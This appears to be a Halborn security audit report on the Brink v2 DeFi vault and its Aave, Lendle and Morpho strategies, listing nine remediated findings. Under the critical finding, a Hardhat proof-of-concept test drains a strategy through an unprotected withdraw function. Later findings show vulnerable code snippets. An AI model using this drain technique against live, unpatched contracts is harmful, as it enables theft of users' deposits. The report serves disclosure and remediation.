// Security Assessment

07.25.2025 - 07.31.2025

Brink v2
Lendle

HALBORN

Brink v2 - Lendle

Prepared by: HALBORN

Last Updated 08/22/2025

Date of Engagement: July 25th, 2025 - July 31st, 2025

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
9	1	0	0	4	4

TABLE OF CONTENTS

1. Summary

`Brink V2` engaged `Halborn` to perform a security assessment of their smart contracts beginning on July 25th, 2025 and ending on August 12th, 2025. The assessment scope was limited to the smart contracts provided to Halborn. Commit hashes and additional details are available in the Scope section of this report.

2. Assessment Summary

`Halborn` assigned 1 full-time security engineer to conduct a comprehensive review of the smart contracts within scope. The engineer is an expert in blockchain and smart contract security, with advanced skills in penetration testing and smart contract exploitation, as well as extensive knowledge of multiple blockchain protocols.

The objectives of this assessment were to:

- Identify potential security vulnerabilities within the smart contracts.
- Verify that the smart contract functionality operates as intended.

In summary, `Halborn` identified several areas for improvement to reduce the likelihood and impact of security risks. These were completely addressed by the `Brink V2` team. The main ones were:

- `Add access control on strategies implementations.`
- `Use abi.encode rather than abi.encodePacked in the factory.`
- `Restrict strategy allowances.`

3. Test Approach And Methodology

`Halborn` conducted a combination of manual code review and automated security testing to balance efficiency, timeliness, practicality, and accuracy within the scope of this assessment. While manual testing is crucial for identifying flaws in logic, processes, and implementation, automated testing enhances coverage of smart contracts and quickly detects deviations from established security best practices.

The following phases and associated tools were employed throughout the term of the assessment:

- Research into the platform's architecture, purpose and use.
- Manual code review and walkthrough of smart contracts to identify any logical issues.
- Comprehensive assessment of the safety and usage of critical Solidity variables and functions within scope that could lead to arithmetic-related vulnerabilities.
- Local testing using custom scripts (`Foundry`).
- Fork testing against main networks (`Foundry`).
- Static security analysis of scoped contracts, and imported functions (`Slither`).

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: brink-v2

(b) Assessed Commit ID: cdb4a0a

(c) Items in scope:

- contracts/BrinkVaultFactory.sol
- contracts/strategies/morpho/MorphoStrategy.sol
- contracts/strategies/aave/AaveStrategy.sol
- contracts/strategies/lendle/LendleStrategy.sol
- contracts/libraries/ErrorsLib.sol
- contracts/libraries/MathLib.sol
- contracts/libraries/SharesMathLib.sol
- contracts/libraries/UtilsLib.sol
- contracts/BaseStrategy.sol
- contracts/BrinkVault.sol

Out-of-Scope: Third-party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- 1de4677
- 0369a6a
- c255588
- 82afb29
- 0ae8291
- eb6279b
- fa6c2b4
- 99b08dc

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW
1	0	0	4

INFORMATIONAL
4

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
AAVE AND LENDLE STRATEGIES ALLOW UNAUTHORIZED WITHDRAWS	CRITICAL	SOLVED - 08/19/2025
SALT USES ABI.ENCODEPACKED WITH DYNAMIC TYPE (RISK OF AMBIGUOUS HASHING)	LOW	SOLVED - 08/19/2025
UNRESTRICTED DUST FORWARDING METHOD ALLOWS MINOR GRIEFING	LOW	SOLVED - 08/19/2025
MINT FUNCTION OVERWRITE THE SHARES REQUESTED BY THE USER	LOW	SOLVED - 08/19/2025
UNRESTRICTED ALLOWANCE ALLOWS MALICIOUS STRATEGIES TO STEAL DEPOSITS	LOW	SOLVED - 08/19/2025
VAULT ACCEPTS DUPLICATE STRATEGIES AT INITIALIZATION	INFORMATIONAL	SOLVED - 08/22/2025
SETSTRATEGIST PERMITS ZERO ADDRESS	INFORMATIONAL	ACKNOWLEDGED - 08/19/2025
MISSING TOP-LEVEL REENTRANCY GUARDS	INFORMATIONAL	SOLVED - 08/19/2025
RELIANCE ON ENUMERABLESET.VALUES() ORDERING CAUSES WEIGHT/STRATEGY MISALIGNMENT	INFORMATIONAL	SOLVED - 08/19/2025

7. FINDINGS & TECH DETAILS

7.1 AAVE AND LENDLE STRATEGIES ALLOW UNAUTHORIZED WITHDRAWS

// CRITICAL

Description

Both `AaveStrategy` and `LendleStrategy` expose `supply` / `withdraw` without the `onlyBV` modifier, which allow any user to withdraw unlimited funds from the strategies.

The regular deposit and withdraw flow is as follows:

- Deposit:
  - Alice deposits 1000 USDC in the vault.
  - The token is transferred to the vault.
  - The vault calls `supply` on the strategy.
  - The token is transferred to the strategy, and supplied to Aave.
  - The vault mints shares to Alice.
- Withdraw:
  - Alice calls withdraws on the vault.
  - The vault calls withdraw on the Aave strategy.
  - The strategy calls withdraw on Aave.
  - Aave transfers the tokens to the sender (the vault).
  - The vault burns Alice's shares.

It is possible for an attacker to directly call the Aave and Lendle strategy withdraw endpoint, which will work as follows:

- Bob calls withdraw on the Aave strategy.
- The strategy calls withdraw on Aave.
- Aave transfers the tokens to the sender (Bob).

Code Location

The `AaveStrategy` withdraw is unprotected:

```
37  function withdraw(uint256 _assetAmount) external override {
38      address sharesAddress = IAave(reserve).getReserveAToken(asset);
39      IERC20(sharesAddress).safeIncreaseAllowance(reserve, _assetAmount);
40
41      IAave(reserve).withdraw(asset, _assetAmount, msg.sender);
42  }
```

The `LendleStrategy` withdraw is unprotected:

```
function withdraw(uint256 _assetAmount) external override {
    address sharesAddress = ILendle(reserve).getReserveAToken(asset);
    IERC20(sharesAddress).safeIncreaseAllowance(reserve, _assetAmount);

    ILendle(reserve).withdraw(asset, _assetAmount, msg.sender);
}
```

The `MorphoStrategy` **is protected** (`onlyBV` ensures that only the vault can call the `withdraw` function):

```
function withdraw(uint256 _assetAmount) external override onlyBV {
    IMorpho.MarketParams memory marketParams_ = getMarketParams();
    if (marketParams_.loanToken == address(0)) revert MARKET_PARAMS_NOT_SET();

    IMorpho.Market memory market_ = IMorpho(reserve).market(marketId);
    IMorpho.Position memory position_ = IMorpho(reserve).position(marketId, address(this));

    uint256 supplyAssets = position_.supplyShares.toAssetsDown(market_.totalSupplyAssets, market

    uint256 availableLiquidity = UtilsLib.min(
        market_.totalSupplyAssets - market_.totalBorrowAssets, IERC20(asset).balanceOf(reserve)
    );

    uint256 toWithdraw = UtilsLib.min(
        UtilsLib.min(supplyAssets, availableLiquidity), _assetAmount
    );

    IMorpho(reserve).withdraw(
        marketParams_,
        toWithdraw,
        0,
        address(this),
        msg.sender
    );
}
```

Proof of Concept

The following hardhat test shows that any user can withdraw the strategy balances:

```
// @ts-nocheck
import { expect } from "chai";
import { ethers } from "hardhat";

describe("Security PoCs", function () {
  it("[C-01] Anyone can drain AaveStrategy by calling withdraw directly", async function () {
    const [deployer, vaultManager, strategist, attacker] = await ethers.getSigners();

    // Deploy mock underlying and aToken
    const MockERC20 = await ethers.getContractFactory("MockERC20");
    const underlying = await MockERC20.deploy("MockUSDC", "mUSDC");
    await underlying.waitForDeployment();
    const aToken = await MockERC20.deploy("MockaToken", "maUSDC");
    await aToken.waitForDeployment();

    // Deploy mock reserve and real AaveStrategy pointing to mocks
    const MockAaveReserve = await ethers.getContractFactory("MockAaveReserve");
    const reserve = await MockAaveReserve.deploy(
      await underlying.getAddress(),
      await aToken.getAddress(),
    );
    await reserve.waitForDeployment();

    const BrinkVault = await ethers.getContractFactory("BrinkVault");
    const brink = await BrinkVault.deploy(
      await underlying.getAddress(),
      strategist,
      vaultManager,
      "Test Brink",
      "TSTBrink",
```

```
      ethers.parseUnits("1000000", 6),
    );
    await brink.waitForDeployment();

    const AaveStrategy = await ethers.getContractFactory("AaveStrategy");
    const aave = await AaveStrategy.deploy(
      await brink.getAddress(),
      await underlying.getAddress(),
      await reserve.getAddress(),
    );
    await aave.waitForDeployment();

    // Init with only Aave
    await brink.connect(vaultManager).initialize([aave], [10_000]);

    // Mint underlying to a user and deposit via vault
    const depositAmt = ethers.parseUnits("1000", 6);
    await underlying.mint(deployer.address, depositAmt);
    await underlying.approve(brink, depositAmt);
    await brink.deposit(depositAmt, deployer.address);

    // Attacker drains directly by calling strategy.withdraw to themselves
    const before = await underlying.balanceOf(attacker.address);
    console.log("before", before);
    await aave.connect(attacker).withdraw(ethers.MaxUint256);
    const after = await underlying.balanceOf(attacker.address);
    console.log("after", after);
    expect(after - before).to.be.gt(0);
  });
});
```

The result shows that the funds were successfully stolen:

```
before 0n
after 1000000000n
✔ [C-01] Anyone can drain AaveStrategy by calling withdraw directly
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:C/Y:N (10.0)

Recommendation

It is recommended to add access control to both `supply` and `withdraw` functions on the strategy implementations.

Remediation Comment

SOLVED: The issue was fixed by adding the onlyBV modifier to both supply and withdraw functions in `AaveStrategy` and `LendleStrategy`, ensuring only the `BrinkVault` can call these functions and preventing unauthorized withdrawals.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/1de4677e8cdd214e76f0a3d85cede110ab840ae4

7.2 SALT USES ABI.ENCODEPACKED WITH DYNAMIC TYPE (RISK OF AMBIGUOUS HASHING)

// LOW

Description

In the **BrinkVaultFactory** contract, The salt for `CREATE2` is computed with `abi.encodePacked` and includes a dynamic type (`string _name`):

```
61  bytes32 salt = keccak256(abi.encodePacked(_asset, _name, "BrinkVault"));
62  brinkVault = address(
63      new BrinkVault{ salt: salt }(
64          _asset, _strategist, _vaultManager, _name, _symbol, _depositLimit
65      )
66  );
```

When concatenating dynamic types (or mixing dynamic and fixed types) with `abi.encodePacked` and then hashing, different input tuples can, in edge cases, produce identical byte sequences, creating an ambiguity risk. While a collision here is unlikely, best practice is to use `abi.encode` , which pads and encodes values with unambiguous boundaries.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (2.5)

Recommendation

Replace the `CREATE2` salt computation to use `abi.encode` instead of `abi.encodePacked` . For example: `salt = keccak256(abi.encode(_asset, _name, "BrinkVault"))` . This approach enforces unambiguous encoding boundaries and prevents collisions caused by dynamic-type concatenation.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The salt computation now uses `abi.encode` instead of `abi.encodePacked` , which prevents ambiguous hashing risks when dealing with dynamic types like strings.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/0369a6a19eab09d98efa5d5a35e027d8a14f6b2d

7.3 UNRESTRICTED DUST FORWARDING METHOD ALLOWS MINOR GRIEFING

// LOW

Description

A method allows anyone to retrieve the dust asset (that could be a result of rounding errors) from the `BrickVault` to the vault manager:

```
/// @notice Forwards dust to the vaultManager
function forwardDustToVaultManager() external {
    address token = asset();
    uint256 dust = _getAssetBalance(token);

    if (dust != 0) {
        IERC20(token).safeTransfer(vaultManager, dust);
        emit DustForwardedToPaymaster(dust);
    }
}
```

While not the source of potential theft, it allows anyone to cause griefing when the vault strategist withdraws funds from the strategies to the contract in order to reorganize strategies, or if the strategist transfers funds directly the the contract.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:L/I:N/D:N/Y:N (2.5)

Recommendation

Apply an access control modifier (e.g., `onlyVaultManager` or `onlyVaultStrategist`) to `forwardDustToVaultManager` to restrict execution to authorized roles, and integrate dust forwarding within the controlled strategy withdrawal workflow.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The `forwardDustToVaultManager` function now has the `onlyVaultManager` access control modifier, preventing unauthorized users from calling this function and causing griefing attacks.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/c25558881a9f2930a51ceae023dd0f62cf9ef83c

7.4 MINT FUNCTION OVERWRITE THE SHARES REQUESTED BY THE USER

// LOW

Description

The `mint` function computes `_assets = previewMint(_shares)`, calls `harvest()`, then recomputes `_shares = previewDeposit(_assets)` and mints that recomputed value. The vault therefore may not mint the exact `_shares` requested by the caller, violating ERC-4626 expectations.

```
410 function mint(uint256 _shares, address _recipient) public override returns (uint256 _assets) {
411     _assets = previewMint(_shares);
412     ...
413     harvest();
414     _shares = previewDeposit(_assets);
415     _deposit(depositArgs_);
416 }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (2.5)

Recommendation

Invoke `harvest()` prior to calculating `_assets` with `previewMint(_shares)`, and remove the subsequent assignment `_shares = previewDeposit(_assets)`. This adjustment ensures the function mints exactly the amount of `_shares` requested by the caller.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The `mint` function now calls `harvest()` prior to calculating assets with `previewMint(_shares)` and no longer overwrites the shares parameter with `previewDeposit(assets)`, ensuring the function mints exactly the amount of `_shares` requested by the caller.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/82afb299819a42538047d68748e2dc1c9532d53a

7.5 UNRESTRICTED ALLOWANCE ALLOWS MALICIOUS STRATEGIES TO STEAL DEPOSITS

// LOW

Description

Upon receiving a new deposit, the `BrickVault` distributes the amount received to the different active strategies according to their corresponding weight: `strategy_amount = amount_received * stragegy_weight / TOTAL_WEIGHTS`. The amount is not sent directly, but rather via a token approval before calling the supply function of the strategy:

```
525 for (uint256 i; i < _numberOfStrategies;) {
526     amounts_[i] = _assets.mulDiv(_weights[i], TOTAL_WEIGHT, Math.Rounding.Floor);
527
528     asset.safeIncreaseAllowance(_strategies[i], _assets);
529
530     IBaseStrategy(_strategies[i]).supply(amounts_[i]);
531
532     if (asset.allowance(address(this), _strategies[i]) > 0) asset.forceApprove(_strategies[i], 0
533
534     unchecked {
535         ++i;
536     }
537 }
```

The approved amount (`_assets`) is the ***entire*** deposit, not just the portion allocated to that strategy (`amounts_[i]`). A malicious or compromised strategy could exploit this by transferring more than its intended share, up to the full deposit.

While strategies are whitelisted, which reduces the likelihood of abuse, this **unrestricted allowance still poses a critical trust risk**: it enables a malicious strategy to drain all deposited funds instead of only its assigned share.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:C/Y:N (2.0)

Recommendation

Replace the unrestricted approval by calling `asset.safeIncreaseAllowance(_strategies[i], amounts_[i])` instead of approving the full `_assets`, and immediately reset the allowance to zero using `asset.forceApprove(_strategies[i], 0)` after the supply to ensure that each strategy can only transfer its allocated share.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The code now uses `safeIncreaseAllowance(_strategy, amounts_[i])` to approve only the allocated amount per strategy and immediately resets the allowance to zero after each supply call, preventing malicious strategies from stealing more than their intended share.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/0ae829120cc7e0db92e3566cb80f464f904f791d

7.6 VAULT ACCEPTS DUPLICATE STRATEGIES AT INITIALIZATION

// INFORMATIONAL

Description

The `initialize` sets `numberOfStrategies = _strategies.length` but then uses `enumerableSet.add`, which ignores duplicates. `strategies.values()` can be shorter than `numberOfStrategies`, leading to indexing mismatches and reverts.

```
119 numberOfStrategies = _strategies.length;
120 ...
121 for (uint256 i; i < numberOfStrategies; ++i) {
122     strategy = _strategies[i];
123     ...
124     strategies.add(_strategies[i]);
125     _addToWhitelist(_strategies[i]);
126     totalWeight += _weights[i];
127 }
128 weights = _weights;
```

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:L/I:N/D:N/Y:N (0.5)

Recommendation

Enforce unique entries by requiring each call to `enumerableSet.add(_strategies[i])` within `initialize` to succeed, reverting the transaction if duplicates are detected. After insertion, update `numberOfStrategies` to `strategies.values().length` to ensure that indexing accurately reflects the current entries.

Remediation Comment

SOLVED: The issue was fixed in the specified commit, preventing duplicates.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/eb6279b8c3919c22bfd3de86c3b3cebd4b7368dc

7.7 SETSTRATEGIST PERMITS ZERO ADDRESS

// INFORMATIONAL

Description

The `setStrategist` function of the **BrinkVault** contract does not validate the input, allowing the vault manager to set the strategist to the zero address:

```
161 function setStrategist(address strategist_) external onlyVaultManager {
162     strategist = strategist_;
163
164     emit StrategistSet(strategist_);
165 }
```

This can unintentionally disable strategist-only operations.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Implement a `require` check in `setStrategist` to reject the zero address (e.g., `require(strategist_ != address(0), "Invalid strategist")`).

Remediation Comment

ACKNOWLEDGED: The finding was acknowledged by the **Lendle team**. They mentioned that:

> Even if we set the strategist role to zero address, we will be able to change it after.

7.8 MISSING TOP-LEVEL REENTRANCY GUARDS

// INFORMATIONAL

Description

Public entry points (`deposit` , `mint` , `withdraw` , `redeem`) call `harvest()` (external calls) and compute previews before entering `nonReentrant` internals. `harvest()` iterates strategies and calls their `harvest()` which is an external call; this creates a reentrancy window.

A malicious (whitelisted) strategy or future `harvest` implementation could alter `totalAssets()` or state between preview and `_mint` / `_burn` , causing incorrect accounting or reentrancy attacks.

For example in the `deposit` function, the `harvest()` function is public and calls `IBaseStrategy.harvest()` for each strategy which could reenter if malicious.

```
396 harvest();
397 _shares = previewDeposit(_assets);
398 _deposit(depositArgs_); // _deposit is nonReentrant
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Apply OpenZeppelin's `ReentrancyGuard` `nonReentrant` modifier to the `deposit` , `mint` , `withdraw` , and `redeem` functions to ensure that `harvest()` and the related state changes execute within a single reentrancy-protected context.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The `deposit` , `mint` , `withdraw` , and `redeem` functions now have the `nonReentrant` modifier applied, ensuring that `harvest()` and the related state changes execute within a single reentrancy-protected context.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/fa6c2b44e7f2a2e58fd8db256fe661a7841edf80

7.9 RELIANCE ON ENUMERABLESET.VALUES() ORDERING CAUSES WEIGHT/STRATEGY MISALIGNMENT

// INFORMATIONAL

Description

The vault zips `weights` (an array) with `strategies.values()` (from `EnumerableSet`) and assumes index `i` matches the same strategy across the codebase. `EnumerableSet.values()` does not guarantee a stable or input-defined order. After operations like clearing and re-adding, or in the presence of duplicates during initialize, this implicit ordering can change or arrays can have mismatched lengths, leading to incorrect per-strategy allocations, withdrawals, or reporting.

If order changes, deposits/withdrawals apply weights to the wrong strategies, `getBrinkVaultData()` may return an address/weight pairing that changes over time

Example scenario (see the PoC section for details):

- Start with two strategies [s1, s2] and weights [60%, 40%].
- Rebalance withdraws from s1 and redeposits 50/50 into [s2, s1] (for the demonstration purpose, the strategies are not provided in the original order). The vault clears and re-adds the set, flipping the zipped order to [s2, s1]. Weights are recomputed to other values like [46%, 54%], and now index 0 maps to s2.
- Because weights are recomputed together with re-adding, the arrays happen to re-align. This is not a vulnerability in the current state of the codebase but could turn to one with a future upgrade overlooking this behaviour.

Code Location

- `initialize` sets `numberOfStrategies` from the raw input and then uses a set (deduping silently), risking length/ordering mismatch:

```
115 function initialize(address[] calldata _strategies, uint256[] calldata _weights) external onlyVa
116     // ...
117     numberOfStrategies = _strategies.length;
118     // ...
119     for (uint256 i; i < numberOfStrategies; ++i) {
120         // ...
121         strategies.add(_strategies[i]);
122         _addToWhitelist(_strategies[i]);
123         totalWeight += _weights[i];
124     }
125     // ...
126     weights = _weights;
127     initialized = true;
128     emit Initialized(_strategies, _weights);
129 }
```

- Public getters and flows rely on parallel indexing of `strategies.values()` and weights:

```
299 DepositArgs memory depositArgs_ = DepositArgs(
300     _recipient,
301     _assets,
302     _shares,
303     numberOfStrategies,
304
```

```
        strategies.values(),
        weights
    );
```

- Zipping in the core loop:

```
for (uint256 i; i < _numberOfStrategies;) {
    amounts_[i] = _assets.mulDiv(_weights[i], TOTAL_WEIGHT, Math.Rounding.Floor);
    asset.safeIncreaseAllowance(_strategies[i], _assets);
    IBaseStrategy(_strategies[i]).supply(amounts_[i]);
    if (asset.allowance(address(this), _strategies[i]) > 0) asset.forceApprove(_strategies[i], 0
    unchecked { ++i; }
}
```

- Rebalance recomputes weights, then clears and re-adds strategies, which can alter the set's iteration order:

```
newWeights[length - 1] = TOTAL_WEIGHT - totalAssignedWeight;
// update BV data
weights = newWeights;
// update strategy addresses set
strategies.clear();
for (uint256 i = 0; i < _finalStrategies.length; ++i) {
    strategies.add(_finalStrategies[i]);
}
numberOfStrategies = length;
```

Proof of Concept

The following test file shows the flip in the strategy indices:

```
// @ts-nocheck
import { expect } from "chai";
import { ethers } from "hardhat";

describe("Security PoCs", function () {
  it("[M-02] Reliance on EnumerableSet.values() ordering affects allocation targets", async func
    const [deployer, vaultManager, strategist, user] = await ethers.getSigners();

    // Deploy mock underlying and aToken
    const MockERC20 = await ethers.getContractFactory("MockERC20");
    const underlying = await MockERC20.deploy("MockUSDC", "mUSDC");
    await underlying.waitForDeployment();
    const aToken = await MockERC20.deploy("MockaToken", "maUSDC");
    await aToken.waitForDeployment();

    // Deploy mock reserve and two Aave strategies pointing to it
    const MockAaveReserve = await ethers.getContractFactory("MockAaveReserve");
    const reserve = await MockAaveReserve.deploy(
      await underlying.getAddress(),
      await aToken.getAddress(),
    );
    await reserve.waitForDeployment();

    const BrinkVault = await ethers.getContractFactory("BrinkVault");
    const brink = await BrinkVault.deploy(
      await underlying.getAddress(),
      strategist,
      vaultManager,
      "Test Brink",
      "TSTBrink",
      ethers.parseUnits("1000000", 6),
    );
    await brink.waitForDeployment();

    const AaveStrategy = await ethers.getContractFactory("AaveStrategy");
    const s1 = await AaveStrategy.deploy(
```

```
      await brink.getAddress(),
      await underlying.getAddress(),
      await reserve.getAddress(),
    );
    await s1.waitForDeployment();
    const s2 = await AaveStrategy.deploy(
      await brink.getAddress(),
      await underlying.getAddress(),
      await reserve.getAddress(),
    );
    await s2.waitForDeployment();

    // Initialize vault with [s1, s2] and weights [60%, 40%]
    await brink.connect(vaultManager).initialize([s1, s2], [6_000, 4_000]);

    // Fund user and deposit
    const depositAmt = ethers.parseUnits("1000", 6);
    await underlying.mint(user.address, depositAmt);
    await underlying.connect(user).approve(brink, depositAmt);
    await brink.connect(user).deposit(depositAmt, user.address);

    // Also capture protocol-side balances per strategy (aToken balances) BEFORE rebalance
    const aTokenContract = await ethers.getContractAt("ERC20", await aToken.getAddress());
    const s1BalBefore = await aTokenContract.balanceOf(await s1.getAddress());
    const s2BalBefore = await aTokenContract.balanceOf(await s2.getAddress());

    console.log("Strategy balances BEFORE (aToken)");
    console.log(`  s1: ${s1BalBefore.toString()}`);
    console.log(`  s2: ${s2BalBefore.toString()}`);

    // Verify initial order and capture weights
    let [addressesBefore, weightsBefore] = await brink.getBrinkVaultData();
    const s1Addr = await s1.getAddress();
    const s2Addr = await s2.getAddress();
    expect(addressesBefore[0]).to.equal(s1Addr);
    expect(addressesBefore[1]).to.equal(s2Addr);

    console.log("Zipped order BEFORE:");
    console.log(
      `  [0] ${addressesBefore[0]} -> ${(Number(weightsBefore[0]) / 100).toFixed(2)}%`
    );
    console.log(
      `  [1] ${addressesBefore[1]} -> ${(Number(weightsBefore[1]) / 100).toFixed(2)}%`
    );

    const wBeforeByAddr: Record<string, number> = {
      [addressesBefore[0]]: Number(weightsBefore[0]),
      [addressesBefore[1]]: Number(weightsBefore[1]),
    };

    console.log("Before rebalance:");
    console.log(
      `  s1 ${s1Addr} weight: ${(wBeforeByAddr[s1Addr] / 100).toFixed(2)}%`
    );
    console.log(
      `  s2 ${s2Addr} weight: ${(wBeforeByAddr[s2Addr] / 100).toFixed(2)}%`
    );

    // Compute expected post-rebalance balances (math based on implementation):
    // Withdraw 20% from s1, then redeposit 50/50 to [s2, s1]
    const withdrawBps = 2000n; // 20%
    const tenK = 10000n;
    const s1WithdrawAmt = (s1BalBefore * withdrawBps) / tenK;
    const half = s1WithdrawAmt / 2n;
    const s1ExpectedAfter = s1BalBefore - s1WithdrawAmt + half;
    const s2ExpectedAfter = s2BalBefore + half;

    console.log("Expectation:");
    console.log(
      `  Withdraw 20% of s1 (${s1WithdrawAmt.toString()}), then +50%/+50% => +${half.toString()}
    );
    console.log(`  s1 expected after: ${s1ExpectedAfter.toString()}`);
    console.log(`  s2 expected after: ${s2ExpectedAfter.toString()}`);

    // Trigger a rebalance that intentionally flips the order in the set:
    // - withdraw 20% from s1
    // - redistribute 50/50 to [s2, s1] (order s2 first)
    const rebalanceArgs = {
```

```
      strategiesRebalanceFrom: [s1],
      weightsRebalanceFrom: [2_000],
      strategiesRebalanceTo: [s2, s1],
      weightsOfRedestribution: [5_000, 5_000],
    };
    await expect(brink.connect(strategist).rebalance(rebalanceArgs)).to.emit(
      brink,
      "RebalanceComplete",
    );

    // Protocol-side balances AFTER rebalance
    const s1BalAfter = await aTokenContract.balanceOf(await s1.getAddress());
    const s2BalAfter = await aTokenContract.balanceOf(await s2.getAddress());
    console.log("Strategy balances AFTER (aToken)");
    console.log(`  s1: ${s1BalAfter.toString()}`);
    console.log(`  s2: ${s2BalAfter.toString()}`);

    // Order and weights are derived from set.values() zipped with weights
    let [addressesAfter, weightsAfter] = await brink.getBrinkVaultData();
    // The order should now be [s2, s1]
    expect(addressesAfter[0]).to.equal(s2Addr);
    expect(addressesAfter[1]).to.equal(s1Addr);

    console.log("Zipped order AFTER (flipped):");
    console.log(
      `  [0] ${addressesAfter[0]} -> ${(Number(weightsAfter[0]) / 100).toFixed(2)}%`
    );
    console.log(
      `  [1] ${addressesAfter[1]} -> ${(Number(weightsAfter[1]) / 100).toFixed(2)}%`
    );

    const wAfterByAddr: Record<string, number> = {
      [addressesAfter[0]]: Number(weightsAfter[0]),
      [addressesAfter[1]]: Number(weightsAfter[1]),
    };

    console.log("After rebalance (order flipped):\n  - Same strategy addresses, but new percenta
    console.log(
      `  s1 ${s1Addr} weight: ${(wAfterByAddr[s1Addr] / 100).toFixed(2)}%`
    );
    console.log(
      `  s2 ${s2Addr} weight: ${(wAfterByAddr[s2Addr] / 100).toFixed(2)}%`
    );

    // Sanity: actual balances match expectation
    expect(s1BalAfter).to.equal(s1ExpectedAfter);
    expect(s2BalAfter).to.equal(s2ExpectedAfter);

    // This demonstrates that the vault pairs `weights` with `strategies.values()` order.
    // After rebalance, the order flipped to [s2, s1], and any subsequent operation
